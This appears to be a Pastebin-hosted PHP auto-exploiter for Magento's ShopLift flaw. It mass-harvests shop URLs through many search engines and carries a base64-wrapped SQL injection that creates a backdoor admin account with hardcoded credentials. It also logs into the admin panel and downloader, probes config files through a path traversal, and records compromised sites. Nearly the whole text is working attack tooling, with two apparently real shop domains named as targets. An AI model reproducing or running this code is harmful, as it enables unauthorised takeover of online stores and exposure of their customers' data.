zakirmaker

Explloit Magento

Oct 9th, 2017
972
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 18.48 KB | None | 0 0
  1. <?php
  2.  
  3. class PakHaxor {
  4.     private $dork = "";
  5.     private $username = "zakirs";//user passmu ganti
  6.     private $password = "admin";
  7.     public function Dork($dork){
  8.         $this->dork = $dork;
  9.         return $this->dork;
  10.     }
  11.    
  12.     private function CurlPost($url, $post = false){
  13.         $ch = curl_init();
  14.         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  15.         curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  16.         curl_setopt($ch, CURLOPT_URL, $url);
  17.         curl_setopt($ch, CURLOPT_HEADER, 0);
  18.         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  19.         curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
  20.         curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  21.         if($post !== false){
  22.             $isi = '';
  23.             foreach($post as $key=>$value){
  24.                 $isi .= $key.'='.$value.'&';
  25.             }
  26.             rtrim($isi, '&');
  27.             curl_setopt($ch, CURLOPT_URL, $url);
  28.             curl_setopt($ch, CURLOPT_POST, count($isi));
  29.             curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
  30.             curl_setopt($ch, CURLOPT_POSTFIELDS, $isi);
  31.         }
  32.         $data = curl_exec($ch);
  33.         curl_close($ch);
  34.         return $data;
  35.     }
  36.    
  37.     private function GetStr($start,$end,$string){
  38.         $a = explode($start,$string);
  39.         $b = explode($end,$a[1]);
  40.         return $b[0];
  41.     }
  42.    
  43.     private function LoginDownloader($url){
  44.         $link = parse_url($url);
  45.         $data = $this->CurlPost(sprintf("%s://%s/downloader/",$link["scheme"],$link["host"]),
  46.                     array("username" => $this->username,
  47.                           "password" => $this->password)
  48.                     );
  49.         if(preg_match("/Log Out/i",$data) || (preg_match("/Return to Admin/i",$data))){
  50.             $permission = (!preg_match("/Warning: Your Magento folder does not have sufficient write permissions./i",$data) ? "Writeable" : "Denied");
  51.             return "Success\nPermission\t\t: ".$permission;
  52.             $smtp = (!eregi("Smtp",$data) || !eregi("Mandrill",$data) || !eregi("smtp",$data) ? "Smtp Look" : "Ga Ada Smtp");
  53.             return "Success\nSmtpPro\t\t: ".$smtp;
  54.             $filesystem = (!eregi("File_System",$data) ? "File System Ada" : "No");
  55.             return "Success\nFile system\t\t: ".$filesystem;
  56.         } else {
  57.             return "Failed";
  58.         }
  59.     }
  60.        
  61.     private function LoginAdmin($target){
  62.         $link = parse_url($target);
  63.         $get = $this->CurlPost(sprintf("%s://%s/admin/",$link["scheme"],$link["host"]));
  64.         $key = $this->GetStr("<input name=\"form_key\" type=\"hidden\" value=\"","\" />",$get);
  65.         $data = $this->CurlPost(sprintf("%s://%s/admin/",$link["scheme"],$link["host"]),
  66.                     array("login[username]" => $this->username,
  67.                           "login[password]" => $this->password,
  68.                           "form_key" => $key)
  69.                 );
  70.         if($this->LocalFileDiscloure(sprintf("%s://%s",$link["scheme"],$link["host"]))){
  71.             return "Success\nOrder Total\t\t: ".$this->GetStr("<span class=\"price\">","</span>",$data)."\nInstaled\t\t:".$this->LocalFileDiscloure(sprintf("%s://%s",$link["scheme"],$link["host"]));
  72.         } else {
  73.             return "Success\nOrder Total\t\t: ".$this->GetStr("<span class=\"price\">","</span>",$data);
  74.         }
  75.     }
  76.    
  77.     private function ShopLiftExploit($target){
  78.         $email = substr(md5(time()),2,15);
  79.         $link = parse_url($target);
  80.         $data = $this->CurlPost(sprintf("%s://%s/admin/Cms_Wysiwyg/directive/index/",$link["scheme"],$link["host"]),
  81.                     array("filter" => base64_encode("popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);SET @SALT =  'rp';SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{$this->password}') ), CONCAT(':', @SALT ));SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','ellvin1337@gmail.com','{$this->username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{$this->username}'),'Firstname');"),
  82.                     "___directive"  => base64_encode("{{block type=Adminhtml/report_search_grid output=getCsvFile}}"),
  83.                     "forwarded"     => "1")
  84.                 );    
  85.         return (@imagecreatefromstring($data) !== false);
  86.     }
  87.     private function Fak($site, $username, $password){
  88.  
  89.         $get_admin = file_get_contents("$site/admin");
  90. preg_match("/type=\"hidden\" value=\"(.*?)\"/", $get_admin, $keys);
  91. $key = $keys[1];
  92.  
  93. $url = "$site/admin";
  94. $payload = "form_key=$key&login[username]=$username&login[password]=$password";
  95. $login = $this->ngirim_data($url, $payload);
  96. if(preg_match("/filesystem/i", $login)){
  97.     $b = "Ok";
  98. }
  99. else{
  100.     echo "No";
  101. }
  102. preg_match("/\/index.php\/admin\/system_config\/index\/key\/(.*?)\"/", $login, $link_smtp);
  103. $link_smtp = "$site/index.php/admin/system_config/index/key/$link_smtp[1]";
  104. $fgt_smtp = $this->kesono($link_smtp);
  105.  
  106. if(preg_match("/smtppro/i", $fgt_smtp)){
  107.     $c = "Ok\n";
  108. }
  109. else{
  110.     $c = "No\n";
  111. }
  112. $su = "FileSystem\t\t: $b\nSMTPpro\t\t\t: $c";
  113. return $su;
  114.  
  115.     }
  116.     private function ExecuteExploit($victim){
  117.         $file = fopen("ShopLift-".date("d-m-Y").".txt","a");
  118.         $url = parse_url($victim);
  119.         $target = (!isset($url["scheme"]) ? "http://".$victim : $url["scheme"]."://".$url["host"]);
  120.         if($this->ShopLiftExploit($target)){
  121.             $downloader = $this->LoginDownloader($target);
  122.             $admin = $this->LoginAdmin($target);
  123.             $ahh = $this->fak($target, $this->username, $this->password);
  124.  
  125.             $result = "\n============[ShopLift Result]============\nSite\t\t\t: {$target}\nLogin Admin\t\t: {$admin}\nLogin Downloader\t: {$downloader}\n$ahh===========================================\n";
  126.             fwrite($file,$result);
  127.             return $result;
  128.         }else {
  129.             return "[".date("H:i:s")."] ".$target." => Not vuln !\n";
  130.         }
  131.    
  132.     fclose($file);
  133.     }
  134.  
  135.    
  136.     private function LocalFileDiscloure($target){
  137.         $path = array(  "/app/etc/local.xml",
  138.                         "/magmi/web/download_file.php?file=../../app/etc/local.xml"
  139.                     );
  140.         for($i=0;$i<=count($path);$i++){
  141.             $test = $this->CurlPost($target.$path[$i]);
  142.             if(isset($test) && preg_match('/install/i',$test) && preg_match('/date/i',$test)){
  143.                 return $this->GetStr("<date><![CDATA[","]]></date>",$test);
  144.             } else {
  145.                 return false;
  146.             }
  147.         }
  148.     }
  149.    
  150.     public function SearchEngine($engine){
  151.         $list = array();
  152.         $ccbing = array("ca","br","be","nl","uk","it","es","de","no","dk","se","ch","ru","jp","cn","kr","mx","ar","cl","au");
  153.         $ccgoogle = array("ae");//,"com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm");
  154.         $ccask = array("au","uk","ca","de","it","fr","es","ru","nl","pl","at","se","dk","no","br","mx","jp");
  155.         $ccyahoo = array("au","ru","at","pl","il","tr","ua","gr","jp","cn","my","id","th","in","kr","tw","ro","za","pt","ca","uk","de","fr","es","it","hk","mx","br","ar","nl","dk","ph","cl","ru","co","fi","ve","nz","pe");
  156.    
  157.  
  158.         switch($engine){
  159.             case 1:
  160.                 for($i=0;$i<=1000;$i+=10){
  161.                     $search = $this->CurlPost("http://www.bing.com/search?q=".urlencode($this->dork)."&first=".$i);
  162.                     preg_match_all('#<h2><a href="(.*?)" h="ID#', $search, $m);
  163.                     foreach($m[1] as $link){
  164.                         if(!preg_match("/live|msn|bing|microsoft/",$link)){
  165.                             if(!in_array($link,$list)){
  166.                                 $list[] = $link;
  167.                             }
  168.                         }
  169.                     }
  170.                     echo "[".date("H:i:s")."] Catch Bing (".count(array_unique($m[1])).")\n";
  171.                 }
  172.                 echo "[".date("H:i:s")."] Total Bing : ".count($list)."\n";
  173.             break;
  174.             case 2:
  175.                 for($x=0;$x<=count($ccbing)-1;$x++){
  176.                     for($i=0;$i<=1000;$i+=10){
  177.                         $search = $this->CurlPost("http://www.bing.com/search?q=".urlencode($this->dork)."&cc=".$ccbing[$x]."&rf=1&first=".$i."&FORM=PORE");
  178.                         preg_match_all('#<h2><a href="(.*?)" h="ID#', $search, $m);
  179.                         foreach($m[1] as $link){
  180.                             if(!preg_match("/live|msn|bing|microsoft/",$link)){
  181.                                 if(!in_array($link,$list)){
  182.                                     $list[] = $link;
  183.                                 }
  184.                             }
  185.                         }
  186.                         echo "[".date("H:i:s")."] Catch Bing.".$ccbing[$x]." (".count(array_unique($m[1])).")\n";
  187.                     }
  188.                 }
  189.                 echo "[".date("H:i:s")."] Total Bing World : ".count($list)."\n";
  190.             break;
  191.             case 3:
  192.                 for($x=0;$x<=count($ccgoogle)-1;$x++){
  193.                     for($i=0;$i<=200;$i+=10){
  194.                         $search = $this->CurlPost("http://www.google.".$ccgoogle[$x]."/search?num=50&q=".urlencode($this->dork)."&start=".$i."&sa=N");
  195.                         preg_match_all('/<a href=\"?http:\/\/([^>\"]*)\//m', $search, $m);
  196.                         foreach($m[1] as $link){
  197.                             if(!preg_match("/google/",$link)){
  198.                                 if(!in_array($link,$list)){
  199.                                     $list[] = $link;
  200.                                 }
  201.                             }
  202.                         }
  203.                         echo "[".date("H:i:s")."] Catch Google.".$ccgoogle[$x]." (".count(array_unique($m[1])).")\n";
  204.                     }
  205.                 }
  206.                 echo "[".date("H:i:s")."] Total Google World : ".count($list)."\n";
  207.             break;
  208.             case 4:
  209.                 for($x=0;$x<=count($ccask)-1;$x++){
  210.                     for($i=1;$i<=1000;$i+=100){
  211.                         $search = $this->CurlPost("http://".$ccask[$x].".ask.com/web?q=".urlencode($this->dork)."&qsrc=1&frstpgo=0&o=0&l=dir&qid=05D10861868F8C7817DAE9A6B4D30795&page=".$i."&jss=");
  212.                         preg_match_all('/href=\"http:\/\/(.*?)\" onmousedown=/m', $search, $m);
  213.                         foreach($m[1] as $link){
  214.                             if(!preg_match("/ask\.com/",$link)){
  215.                                 if(!in_array($link,$list)){
  216.                                     $list[] = $link;
  217.                                 }
  218.                             }
  219.                         }
  220.                         echo "[".date("H:i:s")."] Catch Ask.".$ccask[$x]."(".count(array_unique($m[1])).")\n";
  221.                     }
  222.                 }
  223.                 echo "[".date("H:i:s")."] Total Ask World : ".count($list)."\n";
  224.             break;
  225.             case 5:
  226.                 for($i=1;$i<=100;$i+=1){
  227.                     $search = $this->CurlPost("http://search.walla.co.il/?q=".urlencode($this->dork)."&type=text&page=".$i);
  228.                     preg_match_all('/<a href=\"http:\/\/(.+?)\" title=/m', $search, $m);
  229.                     foreach($m[1] as $link){
  230.                         if(!preg_match("/walla\.co\.il/",$link)){
  231.                             if(!in_array($link,$list)){
  232.                                 $list[] = $link;
  233.                             }
  234.                         }
  235.                     }
  236.                     echo "[".date("H:i:s")."] Catch Walla (".count(array_unique($m[1])).")\n";
  237.                 }
  238.                 echo "[".date("H:i:s")."] Total Walla : ".count($list)."\n";
  239.             break;
  240.             case 6:
  241.                 for($i=1;$i<=400;$i+=10){
  242.                     $search = $this->CurlPost("http://szukaj.onet.pl/".$i.",query.html?qt=".urlencode($this->dork));
  243.                     preg_match_all('/<a href=\"http:\/\/(.*?)\">/m', $search, $m);
  244.                     foreach($m[1] as $link){
  245.                         if(!preg_match("/onet|webcache|query/",$link)){
  246.                             if(!in_array($link,$list)){
  247.                                 $list[] = $link;
  248.                             }
  249.                         }
  250.                     }
  251.                     echo "[".date("H:i:s")."] Catch Onet (".count(array_unique($m[1])).")\n";
  252.                 }
  253.                 echo "[".date("H:i:s")."] Total Onet : ".count($list)."\n";
  254.             break;
  255.             case 7:
  256.                 for($i=1;$i<=50;$i+=1){
  257.                     $search = $this->CurlPost("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$i."&q=".urlencode($this->dork)."&st=local");
  258.                     preg_match_all('/<a href=\"http:\/\/(.*?)\"/m', $search, $m);
  259.                     foreach($m[1] as $link){
  260.                         if(!preg_match("/\.sapo\.pt/",$link)){
  261.                             if(!in_array($link,$list)){
  262.                                 $list[] = $link;
  263.                             }
  264.                         }
  265.                     }
  266.                     echo "[".date("H:i:s")."] Catch Sapo (".count(array_unique($m[1])).")\n";
  267.                 }
  268.                 echo "[".date("H:i:s")."] Total Sapo : ".count($list)."\n";
  269.             break;
  270.             case 8:
  271.                 for($i=1;$i<=50;$i+=1){
  272.                     $search = $this->CurlPost("http://search.lycos.com/web?q=".urlencode($this->dork)."&pn=".$i);
  273.                     preg_match_all('/title=\"http:\/\/(.*?)\"/m', $search, $m);
  274.                     foreach($m[1] as $link){
  275.                         if(!preg_match("/lycos/",$link)){
  276.                             if(!in_array($link,$list)){
  277.                                 $list[] = $link;
  278.                             }
  279.                         }
  280.                     }
  281.                     echo "[".date("H:i:s")."] Catch Lycos (".count(array_unique($m[1])).")\n";
  282.                 }
  283.                 echo "[".date("H:i:s")."] Total Lycos : ".count($list)."\n";
  284.             break;
  285.             case 9:
  286.                 for($i=1;$i<=1000;$i+=10){
  287.                     $search = $this->CurlPost("http://busca.uol.com.br/web/?ref=homeuol&q=".urlencode($this->dork)."&start=".$i);
  288.                     preg_match_all('/href=\"?http:\/\/([^\">]*)\"/m', $search, $m);
  289.                     foreach($m[1] as $link){
  290.                         if(!preg_match("/uol\.com\.br|\/web/i",$link)){
  291.                             if(!in_array($link,$list)){
  292.                                 $list[] = $link;
  293.                             }
  294.                         }
  295.                     }
  296.                     echo "[".date("H:i:s")."] Catch Aol (".count(array_unique($m[1])).")\n";
  297.                 }
  298.                 echo "[".date("H:i:s")."] Total Uol : ".count($list)."\n";
  299.             break;
  300.             case 10:
  301.                 for($i=1;$i<=300;$i+=20){
  302.                     $search = $this->CurlPost("http://search.seznam.cz/?q=".urlencode($this->dork)."&count=20&from=".$i);
  303.                     preg_match_all('/href=\"?http:\/\/([^\">]*)\"/m', $search, $m);
  304.                     foreach($m[1] as $link){
  305.                         if(!preg_match("/seznam\.cz|chytrevyhledavani\.cz|smobil\.cz|sklik\.cz/i",$link)){
  306.                             if(!in_array($link,$list)){
  307.                                 $list[] = $link;
  308.                             }
  309.                         }
  310.                     }
  311.                     echo "[".date("H:i:s")."] Catch Seznam (".count(array_unique($m[1])).")\n";
  312.                 }
  313.                 echo "[".date("H:i:s")."] Total Seznam : ".count($list)."\n";
  314.             break;
  315.             case 11:
  316.                 for($i=1;$i<=50;$i+=1){
  317.                     $search = $this->CurlPost("http://www.hotbot.com/search/web?pn=".$i."&q=".urlencode($this->dork));
  318.                     preg_match_all('/href=\"http:\/\/(.+?)\" title=/m', $search, $m);
  319.                     foreach($m[1] as $link){
  320.                         if(!preg_match("/hotbot\.com/",$link)){
  321.                             if(!in_array($link,$list)){
  322.                                 $list[] = $link;
  323.                             }
  324.                         }
  325.                     }
  326.                     echo "[".date("H:i:s")."] Catch Hotbot (".count(array_unique($m[1])).")\n";
  327.                 }
  328.                 echo "[".date("H:i:s")."] Total Hotbot : ".count($list)."\n";
  329.             break;
  330.             case 12:
  331.                 for($i=1;$i<=300;$i+=10){
  332.                     $search = $this->CurlPost("http://search.aol.com/aol/search?q=".urlencode($this->dork)."&page=".$i);
  333.                     preg_match_all('/href=\"http:\/\/(.*?)\"/m', $search, $m);
  334.                     foreach($m[1] as $link){
  335.                         if(!preg_match("/aol\.com/",$link)){
  336.                             if(!in_array($link,$list)){
  337.                                 $list[] = $link;
  338.                             }
  339.                         }
  340.                     }
  341.                     echo "[".date("H:i:s")."] Catch Aol (".count(array_unique($m[1])).")\n";
  342.                 }
  343.                 echo "[".date("H:i:s")."] Total Aol : ".count($list)."\n";
  344.             break;
  345.             case 13:
  346.                     for($i=1;$i<=1000;$i+=10){
  347.                     $search = $this->CurlPost("http://search.yahoo.com/search?p=".urlencode($this->dork)."&b=".$i);
  348.                     preg_match_all('/<a href=\"http:\/\/(.*?)\"/m', $search, $m);
  349.                     foreach($m[1] as $link){
  350.                         if(!preg_match("/yahoo/",$link)){
  351.                             if(!in_array($link,$list)){
  352.                                 $list[] = $link;
  353.                             }
  354.                         }
  355.                     }
  356.                     echo "[".date("H:i:s")."] Catch Yahoo (".count(array_unique($m[1])).")\n";
  357.                 }
  358.                 echo "[".date("H:i:s")."] Total Yahoo : ".count($list)."\n";
  359.             break;
  360.             case 14:
  361.                 for($x=0;$x<=count($ccyahoo)-1;$x++){
  362.                     for($i=1;$i<=1000;$i+=100){
  363.                     $search = $this->CurlPost("http://".$ccyahoo[$x].".search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".urlencode($this->dork)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=hk&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  364.                     preg_match_all('/<a href=\"http:\/\/(.*?)\"/m', $search, $m);
  365.                     foreach($m[1] as $link){
  366.                         if(!preg_match("/yahoo".$ccyahoo[$x]."/",$link)){
  367.                             if(!in_array($link,$list)){
  368.                                 $list[] = $link;
  369.                             }
  370.                         }
  371.                     }
  372.                     echo "[".date("H:i:s")."] Catch Yahoo.".$ccyahoo[$x]." (".count(array_unique($m[1])).")\n";
  373.                     }
  374.                 }
  375.                 echo "[".date("H:i:s")."] Total Yahoo World : ".count($list)."\n";
  376.             break;
  377.         }
  378.  
  379. /*      $list = array("ottobock-mobility.ru","webshop.rubox.nl");
  380.         if(count($list)>0){
  381.             echo "Exploiting target ".count($list).". Please wait ... \n";
  382.             foreach($list as $do){
  383.                 echo $this->ExecuteExploit($do);
  384.             }
  385.         } */
  386.     }
  387.  
  388.     function ngirim_data($url, $post){
  389. $ch = curl_init ("$url");
  390. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  391. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  392. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  393. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  394. curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  395. curl_setopt ($ch, CURLOPT_POST, 1);
  396. curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  397. curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
  398. curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
  399. $data6 = curl_exec ($ch);
  400. return $data6;
  401.     }
  402.  
  403. function kesono($url){
  404.     $ch = curl_init ("$url");
  405. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  406. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  407. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  408. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  409. curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  410. curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
  411. curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
  412. $data6 = curl_exec ($ch);
  413. return $data6;
  414.    
  415. }
  416.     public function ExploitLogo(){
  417.         $logo = "==================================================\n";
  418.         $logo .= "#\t Magento ShopLift Auto Exploiter \t #\n";
  419.         $logo .= "#------------------------------------------------#\n";
  420.         $logo .= "#\t Usage \t\t: php ".basename($_SERVER["SCRIPT_FILENAME"], '.php').".php \"Dork\"\t #\n";
  421.         $logo .= "#------------------------------------------------#\n";
  422.         $logo .= "#\t (C) ".date("Y")." Recoded By Pak Haxor \t\t #\n";
  423.         $logo .= "==================================================\n";
  424.         echo $logo;
  425.     }
  426. }
  427. $Exploiter = new PakHaxor();
  428. if(isset($argv[1]) && !empty($argv[1])){
  429.     if($argv[1]=="-l" && !empty($argv[2])){
  430.         $file = file_get_contents($argv[2]);
  431.         $list = explode("\n",$file);
  432.         if(isset($list)){
  433.             echo "Starting engine ....\n";
  434.             flush();
  435.             sleep(2);
  436.             echo "[".date("H:i:s")."] Scanning ".count($list)." dorks. Please wait ... \n";
  437.             foreach($list as $dork){
  438.                 echo "[".date("H:i:s")."] Scanning target for dork : {$dork}\n";
  439.                 $Exploiter->Dork($dork);
  440.                 for($i=0;$i<15;$i++){
  441.                     $Exploiter->SearchEngine($i);
  442.                     flush();
  443.                     sleep(1);
  444.                 }
  445.             }
  446.         }
  447.     } else {
  448.         echo "Starting engine ....\n";
  449.         flush();
  450.         sleep(2);
  451.         echo "[".date("H:i:s")."] Scanning target for dork : {$argv[1]}\n";
  452.         $Exploiter->Dork($argv[1]);
  453.         for($i=0;$i<15;$i++){
  454.             $Exploiter->SearchEngine($i);
  455.             flush();
  456.             sleep(1);
  457.         }
  458.     }
  459.     echo "Scan finished !!!\n";
  460.     flush();
  461.     sleep(1);
  462.     echo "Shuting down engine !!!\n";
  463. } else {
  464.     $Exploiter->ExploitLogo();
  465. }
Add Comment
Please, Sign In to add comment